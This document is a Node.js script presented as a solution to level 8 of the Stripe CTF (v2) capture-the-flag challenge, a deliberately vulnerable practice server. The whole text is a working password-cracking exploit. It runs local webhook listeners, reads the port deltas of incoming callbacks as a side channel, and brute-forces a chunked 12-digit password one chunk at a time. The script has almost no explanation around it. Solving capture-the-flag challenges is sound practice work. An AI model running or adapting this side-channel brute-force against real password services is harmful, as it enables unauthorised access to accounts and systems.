A NodeJS Solution to LEVEL08 of the Stripe-CTF (v2)

level08-ctf-v2.js

var request = require('request'),
    http = require('http');
    require('sugar');

var Cracker = function(){
  this.chunk = 0;
  this.chunks = [];
  this.password = '000000000000';
  this.chunkPass = 0;
  this.prevPort = null;
  this.attempt = 0;
  this.maxAttempts = 3;
  this.matches = [];
  this.matchThreshold = 4;
  this.webhooks = ['localhost:9999'];
  this.dbServer = 'http://localhost:3000';
  this.complete = false;

  //
  // Initialize the Cracker
  //
  this.initialize = function(){
    var self = this;
    // Create the Webhook listeners
    this.webhooks.each(function(webhook){
      http.createServer(function(req, res){
        self.process(req.connection.remotePort);
        res.end(' ');
      }).listen(webhook.split(':')[1]);
    });
    // Start cracking
    this.crackAttempt();
  };

  //
  // Process response from Chunk Server
  //
  this.process = function(remotePort){
    var delta = (this.prevPort) ? (remotePort - this.prevPort) : 0;
    this.matches.push( delta );
    this.prevPort = remotePort;
    this.crackAttempt();
  };

  //
  // Make requests to the passwordDB server, etc
  //
  this.crackAttempt = function(){
    var self = this;
    if(this.complete) return;
    if(this.attempt >= this.maxAttempts){
      this.attempt = 0;
      if(this.foundChunk()){
        this.incrementChunk();
      } else {
        this.matches = [];
        if(!this.incrementPassword()) this.incrementChunk();
      }
    }
    this.attempt++;
    request({
      url: this.dbServer,
      method: 'POST',
      json: {
        password: this.password,
        webhooks: this.webhooks
      }
    }, function(e, r, data){
      if(data.success) self.gameOver(); // you win
    });
  };

  //
  // Start cracking the next Chunk
  //
  this.incrementChunk = function(){
    this.chunk++;
    this.chunkPass = 0;
    this.prevPort = null;
    this.attempt = 0;
    this.matches = [];
    this.matchThreshold++;
    this.incrementPassword();
  };

  //
  // General purpose password incrementing with the proper format
  //
  this.incrementPassword = function(){
    this.chunkPass++;
    var p = (this.chunkPass).pad(3);
    if(this.chunk == 0) this.password = String(p) +'000000000';
    if(this.chunk == 1) this.password = this.chunks[0] + String(p) + '000000';
    if(this.chunk == 2) this.password = this.chunks[0] + this.chunks[1] + String(p) + '000';
    if(this.chunk == 3) this.password = this.chunks[0] + this.chunks[1] + this.chunks[2] + String(p);
    if(this.chunkPass > 999) return false;
    return true;
  };

  //
  // Did we crack a chunk of the password yet?
  //
  this.foundChunk = function(){
    var m = this.matches.most();
    process.stdout.write(' Trying password: '+ this.password +"\r");
    if(m >= this.matchThreshold){
      this.chunks[this.chunk] = (this.chunkPass).pad(3);
      return true;
    }
    return false;
  };

  //
  // WOOO!
  //
  this.gameOver = function(){
    process.stdout.write("You Win!                                     \r\n");
    process.stdout.write('cracked password: '+ this.password);
    this.complete = true;
  };
};


// Let's get crackin'
var Crack = new Cracker();
Crack.initialize();